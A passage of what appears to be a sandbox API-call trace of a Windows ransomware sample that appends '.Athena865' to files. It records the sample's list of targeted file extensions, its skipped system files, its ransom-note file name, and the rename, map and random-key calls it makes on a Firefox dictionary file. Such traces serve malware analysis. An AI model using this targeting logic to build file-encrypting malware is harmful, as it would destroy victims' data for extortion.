3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="adf") returned 1 [0095.847] lstrlenW (lpString="adn") returned 3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="adn") returned 1 [0095.847] lstrlenW (lpString="adp") returned 3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="adp") returned 1 [0095.847] lstrlenW (lpString="alf") returned 3 [0095.847] lstrcmpiW (lpString1="aff", lpString2="alf") returned -1 [0095.847] lstrlenW (lpString="ask") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="ask") returned -1 [0095.848] lstrlenW (lpString="btr") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="btr") returned -1 [0095.848] lstrlenW (lpString="cat") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="cat") returned -1 [0095.848] lstrlenW (lpString="cdb") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="cdb") returned -1 [0095.848] lstrlenW (lpString="ckp") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="ckp") returned -1 [0095.848] lstrlenW (lpString="cma") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="cma") returned -1 [0095.848] lstrlenW (lpString="cpd") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="cpd") returned -1 [0095.848] lstrlenW (lpString="dacpac") returned 6 [0095.848] lstrcmpiW (lpString1="US.aff", lpString2="dacpac") returned 1 [0095.848] lstrlenW (lpString="dad") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="dad") returned -1 [0095.848] lstrlenW (lpString="dadiagrams") returned 10 [0095.848] lstrlenW (lpString="daschema") returned 8 [0095.848] lstrcmpiW (lpString1="n-US.aff", lpString2="daschema") returned 1 [0095.848] lstrlenW (lpString="db-journal") returned 10 [0095.848] lstrlenW (lpString="db-shm") returned 6 [0095.848] lstrcmpiW (lpString1="US.aff", lpString2="db-shm") returned 1 [0095.848] lstrlenW (lpString="db-wal") returned 6 [0095.848] lstrcmpiW (lpString1="US.aff", lpString2="db-wal") returned 1 [0095.848] lstrlenW (lpString="dbc") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="dbc") returned -1 [0095.848] lstrlenW (lpString="dbs") returned 3 [0095.848] lstrcmpiW (lpString1="aff", lpString2="dbs") returned -1 [0095.849] lstrlenW (lpString="dbt") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dbt") returned -1 [0095.849] lstrlenW (lpString="dbv") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dbv") returned -1 [0095.849] lstrlenW (lpString="dbx") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dbx") returned -1 [0095.849] lstrlenW (lpString="dcb") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dcb") returned -1 [0095.849] lstrlenW (lpString="dct") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dct") returned -1 [0095.849] lstrlenW (lpString="dcx") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dcx") returned -1 [0095.849] lstrlenW (lpString="ddl") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="ddl") returned -1 [0095.849] lstrlenW (lpString="dlis") returned 4 [0095.849] lstrcmpiW (lpString1=".aff", lpString2="dlis") returned -1 [0095.849] lstrlenW (lpString="dp1") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dp1") returned -1 [0095.849] lstrlenW (lpString="dqy") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dqy") returned -1 [0095.849] lstrlenW (lpString="dsk") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dsk") returned -1 [0095.849] lstrlenW (lpString="dsn") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dsn") returned -1 [0095.849] lstrlenW (lpString="dtsx") returned 4 [0095.849] lstrcmpiW (lpString1=".aff", lpString2="dtsx") returned -1 [0095.849] lstrlenW (lpString="dxl") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="dxl") returned -1 [0095.849] lstrlenW (lpString="eco") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="eco") returned -1 [0095.849] lstrlenW (lpString="ecx") returned 3 [0095.849] lstrcmpiW (lpString1="aff", lpString2="ecx") returned -1 [0095.850] lstrlenW (lpString="edb") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="edb") returned -1 [0095.850] lstrlenW (lpString="epim") returned 4 [0095.850] lstrcmpiW (lpString1=".aff", lpString2="epim") returned -1 [0095.850] lstrlenW (lpString="fcd") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fcd") returned -1 [0095.850] lstrlenW (lpString="fdb") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fdb") returned -1 [0095.850] lstrlenW (lpString="fic") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fic") returned -1 [0095.850] lstrlenW (lpString="flexolibrary") returned 12 [0095.850] lstrlenW (lpString="fm5") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fm5") returned -1 [0095.850] lstrlenW (lpString="fmp") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fmp") returned -1 [0095.850] lstrlenW (lpString="fmp12") returned 5 [0095.850] lstrcmpiW (lpString1="S.aff", lpString2="fmp12") returned 1 [0095.850] lstrlenW (lpString="fmpsl") returned 5 [0095.850] lstrcmpiW (lpString1="S.aff", lpString2="fmpsl") returned 1 [0095.850] lstrlenW (lpString="fol") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fol") returned -1 [0095.850] lstrlenW (lpString="fp3") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fp3") returned -1 [0095.850] lstrlenW (lpString="fp4") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fp4") returned -1 [0095.850] lstrlenW (lpString="fp5") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fp5") returned -1 [0095.850] lstrlenW (lpString="fp7") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fp7") returned -1 [0095.850] lstrlenW (lpString="fpt") returned 3 [0095.850] lstrcmpiW (lpString1="aff", lpString2="fpt") returned -1 [0095.850] lstrlenW (lpString="frm") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="frm") returned -1 [0095.851] lstrlenW (lpString="gdb") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="gdb") returned -1 [0095.851] lstrlenW (lpString="gdb") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="gdb") returned -1 [0095.851] lstrlenW (lpString="grdb") returned 4 [0095.851] lstrcmpiW (lpString1=".aff", lpString2="grdb") returned -1 [0095.851] lstrlenW (lpString="gwi") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="gwi") returned -1 [0095.851] lstrlenW (lpString="hdb") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="hdb") returned -1 [0095.851] lstrlenW (lpString="his") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="his") returned -1 [0095.851] lstrlenW (lpString="ib") returned 2 [0095.851] lstrcmpiW (lpString1="ff", lpString2="ib") returned -1 [0095.851] lstrlenW (lpString="idb") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="idb") returned -1 [0095.851] lstrlenW (lpString="ihx") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="ihx") returned -1 [0095.851] lstrlenW (lpString="itdb") returned 4 [0095.851] lstrcmpiW (lpString1=".aff", lpString2="itdb") returned -1 [0095.851] lstrlenW (lpString="itw") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="itw") returned -1 [0095.851] lstrlenW (lpString="jet") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="jet") returned -1 [0095.851] lstrlenW (lpString="jtx") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="jtx") returned -1 [0095.851] lstrlenW (lpString="kdb") returned 3 [0095.851] lstrcmpiW (lpString1="aff", lpString2="kdb") returned -1 [0095.851] lstrlenW (lpString="kexi") returned 4 [0095.851] lstrcmpiW (lpString1=".aff", lpString2="kexi") returned -1 [0095.851] lstrlenW (lpString="kexic") returned 5 [0095.852] lstrcmpiW (lpString1="S.aff", lpString2="kexic") returned 1 [0095.852] lstrlenW (lpString="kexis") returned 5 [0095.852] lstrcmpiW (lpString1="S.aff", lpString2="kexis") returned 1 [0095.852] lstrlenW (lpString="lgc") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="lgc") returned -1 [0095.852] lstrlenW (lpString="lwx") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="lwx") returned -1 [0095.852] lstrlenW (lpString="maf") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="maf") returned -1 [0095.852] lstrlenW (lpString="maq") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="maq") returned -1 [0095.852] lstrlenW (lpString="mar") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="mar") returned -1 [0095.852] lstrlenW (lpString="marshal") returned 7 [0095.852] lstrcmpiW (lpString1="-US.aff", lpString2="marshal") returned 1 [0095.852] lstrlenW (lpString="mas") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="mas") returned -1 [0095.852] lstrlenW (lpString="mav") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="mav") returned -1 [0095.852] lstrlenW (lpString="maw") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="maw") returned -1 [0095.852] lstrlenW (lpString="mdbhtml") returned 7 [0095.852] lstrcmpiW (lpString1="-US.aff", lpString2="mdbhtml") returned 1 [0095.852] lstrlenW (lpString="mdn") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="mdn") returned -1 [0095.852] lstrlenW (lpString="mdt") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="mdt") returned -1 [0095.852] lstrlenW (lpString="mfd") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="mfd") returned -1 [0095.852] lstrlenW (lpString="mpd") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="mpd") returned -1 [0095.852] lstrlenW (lpString="mrg") returned 3 [0095.852] lstrcmpiW (lpString1="aff", lpString2="mrg") returned -1 [0095.853] lstrlenW (lpString="mud") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="mud") returned -1 [0095.853] lstrlenW (lpString="mwb") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="mwb") returned -1 [0095.853] lstrlenW (lpString="myd") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="myd") returned -1 [0095.853] lstrlenW (lpString="ndf") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="ndf") returned -1 [0095.853] lstrlenW (lpString="nnt") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="nnt") returned -1 [0095.853] lstrlenW (lpString="nrmlib") returned 6 [0095.853] lstrcmpiW (lpString1="US.aff", lpString2="nrmlib") returned 1 [0095.853] lstrlenW (lpString="ns2") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="ns2") returned -1 [0095.853] lstrlenW (lpString="ns3") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="ns3") returned -1 [0095.853] lstrlenW (lpString="ns4") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="ns4") returned -1 [0095.853] lstrlenW (lpString="nsf") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="nsf") returned -1 [0095.853] lstrlenW (lpString="nv") returned 2 [0095.853] lstrcmpiW (lpString1="ff", lpString2="nv") returned -1 [0095.853] lstrlenW (lpString="nv2") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="nv2") returned -1 [0095.853] lstrlenW (lpString="nwdb") returned 4 [0095.853] lstrcmpiW (lpString1=".aff", lpString2="nwdb") returned -1 [0095.853] lstrlenW (lpString="nyf") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="nyf") returned -1 [0095.853] lstrlenW (lpString="odb") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="odb") returned -1 [0095.853] lstrlenW (lpString="odb") returned 3 [0095.853] lstrcmpiW (lpString1="aff", lpString2="odb") returned -1 [0095.854] lstrlenW (lpString="oqy") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="oqy") returned -1 [0095.854] lstrlenW (lpString="ora") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="ora") returned -1 [0095.854] lstrlenW (lpString="orx") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="orx") returned -1 [0095.854] lstrlenW (lpString="owc") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="owc") returned -1 [0095.854] lstrlenW (lpString="p96") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="p96") returned -1 [0095.854] lstrlenW (lpString="p97") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="p97") returned -1 [0095.854] lstrlenW (lpString="pan") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="pan") returned -1 [0095.854] lstrlenW (lpString="pdb") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="pdb") returned -1 [0095.854] lstrlenW (lpString="pdm") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="pdm") returned -1 [0095.854] lstrlenW (lpString="pnz") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="pnz") returned -1 [0095.854] lstrlenW (lpString="qry") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="qry") returned -1 [0095.854] lstrlenW (lpString="qvd") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="qvd") returned -1 [0095.854] lstrlenW (lpString="rbf") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="rbf") returned -1 [0095.854] lstrlenW (lpString="rctd") returned 4 [0095.854] lstrcmpiW (lpString1=".aff", lpString2="rctd") returned -1 [0095.854] lstrlenW (lpString="rod") returned 3 [0095.854] lstrcmpiW (lpString1="aff", lpString2="rod") returned -1 [0095.854] lstrlenW (lpString="rodx") returned 4 [0095.854] lstrcmpiW (lpString1=".aff", lpString2="rodx") returned -1 [0095.855] lstrlenW (lpString="rpd") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="rpd") returned -1 [0095.855] lstrlenW (lpString="rsd") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="rsd") returned -1 [0095.855] lstrlenW (lpString="sas7bdat") returned 8 [0095.855] lstrcmpiW (lpString1="n-US.aff", lpString2="sas7bdat") returned -1 [0095.855] lstrlenW (lpString="sbf") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="sbf") returned -1 [0095.855] lstrlenW (lpString="scx") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="scx") returned -1 [0095.855] lstrlenW (lpString="sdb") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="sdb") returned -1 [0095.855] lstrlenW (lpString="sdc") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="sdc") returned -1 [0095.855] lstrlenW (lpString="sdf") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="sdf") returned -1 [0095.855] lstrlenW (lpString="sis") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="sis") returned -1 [0095.855] lstrlenW (lpString="spq") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="spq") returned -1 [0095.855] lstrlenW (lpString="te") returned 2 [0095.855] lstrcmpiW (lpString1="ff", lpString2="te") returned -1 [0095.855] lstrlenW (lpString="teacher") returned 7 [0095.855] lstrcmpiW (lpString1="-US.aff", lpString2="teacher") returned 1 [0095.855] lstrlenW (lpString="tmd") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="tmd") returned -1 [0095.855] lstrlenW (lpString="tps") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="tps") returned -1 [0095.855] lstrlenW (lpString="trc") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="trc") returned -1 [0095.855] lstrlenW (lpString="trc") returned 3 [0095.855] lstrcmpiW (lpString1="aff", lpString2="trc") returned -1 [0095.856] lstrlenW (lpString="trm") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="trm") returned -1 [0095.856] lstrlenW (lpString="udb") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="udb") returned -1 [0095.856] lstrlenW (lpString="udl") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="udl") returned -1 [0095.856] lstrlenW (lpString="usr") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="usr") returned -1 [0095.856] lstrlenW (lpString="v12") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="v12") returned -1 [0095.856] lstrlenW (lpString="vis") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="vis") returned -1 [0095.856] lstrlenW (lpString="vpd") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="vpd") returned -1 [0095.856] lstrlenW (lpString="vvv") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="vvv") returned -1 [0095.856] lstrlenW (lpString="wdb") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="wdb") returned -1 [0095.856] lstrlenW (lpString="wmdb") returned 4 [0095.856] lstrcmpiW (lpString1=".aff", lpString2="wmdb") returned -1 [0095.856] lstrlenW (lpString="wrk") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="wrk") returned -1 [0095.856] lstrlenW (lpString="xdb") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="xdb") returned -1 [0095.856] lstrlenW (lpString="xld") returned 3 [0095.856] lstrcmpiW (lpString1="aff", lpString2="xld") returned -1 [0095.856] lstrlenW (lpString="xmlff") returned 5 [0095.856] lstrcmpiW (lpString1="S.aff", lpString2="xmlff") returned -1 [0095.856] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff.Athena865") returned 71 [0095.856] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.aff"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.aff.athena865"), dwFlags=0x1) returned 1 [0095.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.aff.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.859] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3274) returned 1 [0095.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0095.859] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0095.860] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.860] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0095.860] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfd0, lpName=0x0) returned 0x154 [0095.862] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfd0) returned 0x100000 [0095.863] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0095.864] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.864] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0095.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0095.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0095.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.866] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.866] CloseHandle (hObject=0x154) returned 1 [0095.866] CloseHandle (hObject=0x17c) returned 1 [0095.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0095.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.866] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 1 [0095.866] lstrcmpiW (lpString1="en-US.dic", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0095.866] lstrcmpiW (lpString1="en-US.dic", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.866] lstrcmpiW (lpString1="en-US.dic", lpString2=".") returned 1 [0095.866] lstrcmpiW (lpString1="en-US.dic", lpString2="..") returned 1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="windows") returned -1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="bootmgr") returned 1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="temp") returned -1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="pagefile.sys") returned -1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="boot") returned 1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="ids.txt") returned -1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="ntuser.dat") returned -1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="perflogs") returned -1 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2="MSBuild") returned -1 [0095.867] lstrlenW (lpString="en-US.dic") returned 9 [0095.867] lstrcpyW (in: lpString1=0x241e8b0, lpString2="en-US.dic" | out: lpString1="en-US.dic") returned="en-US.dic" [0095.867] lstrlenW (lpString="en-US.dic") returned 9 [0095.867] lstrlenW (lpString="Athena865") returned 9 [0095.867] lstrlenW (lpString=".dll") returned 4 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2=".dll") returned 1 [0095.867] lstrlenW (lpString=".lnk") returned 4 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2=".lnk") returned 1 [0095.867] lstrlenW (lpString=".ini") returned 4 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2=".ini") returned 1 [0095.867] lstrlenW (lpString=".sys") returned 4 [0095.867] lstrcmpiW (lpString1="en-US.dic", lpString2=".sys") returned 1 [0095.867] lstrlenW (lpString="en-US.dic") returned 9 [0095.867] lstrlenW (lpString="bak") returned 3 [0095.867] lstrcmpiW (lpString1="dic", lpString2="bak") returned 1 [0095.867] lstrlenW (lpString="ba_") returned 3 [0095.867] lstrcmpiW (lpString1="dic", lpString2="ba_") returned 1 [0095.867] lstrlenW (lpString="dbb") returned 3 [0095.867] lstrcmpiW (lpString1="dic", lpString2="dbb") returned 1 [0095.867] lstrlenW (lpString="vmdk") returned 4 [0095.867] lstrcmpiW (lpString1=".dic", lpString2="vmdk") returned -1 [0095.867] lstrlenW (lpString="rar") returned 3 [0095.867] lstrcmpiW (lpString1="dic", lpString2="rar") returned -1 [0095.868] lstrlenW (lpString="zip") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="zip") returned -1 [0095.868] lstrlenW (lpString="tgz") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="tgz") returned -1 [0095.868] lstrlenW (lpString="vbox") returned 4 [0095.868] lstrcmpiW (lpString1=".dic", lpString2="vbox") returned -1 [0095.868] lstrlenW (lpString="vdi") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="vdi") returned -1 [0095.868] lstrlenW (lpString="vhd") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="vhd") returned -1 [0095.868] lstrlenW (lpString="vhdx") returned 4 [0095.868] lstrcmpiW (lpString1=".dic", lpString2="vhdx") returned -1 [0095.868] lstrlenW (lpString="avhd") returned 4 [0095.868] lstrcmpiW (lpString1=".dic", lpString2="avhd") returned -1 [0095.868] lstrlenW (lpString="db") returned 2 [0095.868] lstrcmpiW (lpString1="ic", lpString2="db") returned 1 [0095.868] lstrlenW (lpString="db2") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="db2") returned 1 [0095.868] lstrlenW (lpString="db3") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="db3") returned 1 [0095.868] lstrlenW (lpString="dbf") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="dbf") returned 1 [0095.868] lstrlenW (lpString="mdf") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="mdf") returned -1 [0095.868] lstrlenW (lpString="mdb") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="mdb") returned -1 [0095.868] lstrlenW (lpString="sql") returned 3 [0095.868] lstrcmpiW (lpString1="dic", lpString2="sql") returned -1 [0095.868] lstrlenW (lpString="sqlite") returned 6 [0095.868] lstrcmpiW (lpString1="US.dic", lpString2="sqlite") returned 1 [0095.868] lstrlenW (lpString="sqlite3") returned 7 [0095.868] lstrcmpiW (lpString1="-US.dic", lpString2="sqlite3") returned 1 [0095.869] lstrlenW (lpString="sqlitedb") returned 8 [0095.869] lstrcmpiW (lpString1="n-US.dic", lpString2="sqlitedb") returned -1 [0095.869] lstrlenW (lpString="xml") returned 3 [0095.869] lstrcmpiW (lpString1="dic", lpString2="xml") returned -1 [0095.869] lstrlenW (lpString="$er") returned 3 [0095.869] lstrcmpiW (lpString1="dic", lpString2="$er") returned 1 [0095.869] lstrlenW (lpString="4dd") returned 3 [0095.869] lstrcmpiW (lpString1="dic", lpString2="4dd") returned 1 [0095.869] lstrlenW (lpString="4dl") returned 3 [0095.869] lstrcmpiW (lpString1="dic", lpString2="4dl") returned 1 [0095.869] lstrlenW (lpString="^^^") returned 3 [0095.869] lstrcmpiW (lpString1="dic", lpString2="^^^") returned 1 [0095.869] lstrlenW (lpString="abs") returned 3 [0095.869] lstrcmpiW (lpString1="dic", lpString2="abs") returned 1 [0095.869] lstrlenW (lpString="abx") returned 3 [0095.869] lstrcmpiW (lpString1="dic", lpString2="abx") returned 1 [0095.869] lstrlenW (lpString="accdb") returned 5 [0095.869] lstrcmpiW (lpString1="S.dic", lpString2="accdb") returned 1 [0095.869] lstrlenW (lpString="accdc") returned 5 [0095.869] lstrcmpiW (lpString1="S.dic", lpString2="accdc") returned 1 [0095.869] lstrlenW (lpString="accde") returned 5 [0095.869] lstrcmpiW (lpString1="S.dic", lpString2="accde") returned 1 [0095.869] lstrlenW (lpString="accdr") returned 5 [0095.869] lstrcmpiW (lpString1="S.dic", lpString2="accdr") returned 1 [0095.869] lstrlenW (lpString="accdt") returned 5 [0095.869] lstrcmpiW (lpString1="S.dic", lpString2="accdt") returned 1 [0095.869] lstrlenW (lpString="accdw") returned 5 [0095.869] lstrcmpiW (lpString1="S.dic", lpString2="accdw") returned 1 [0095.869] lstrlenW (lpString="accft") returned 5 [0095.869] lstrcmpiW (lpString1="S.dic", 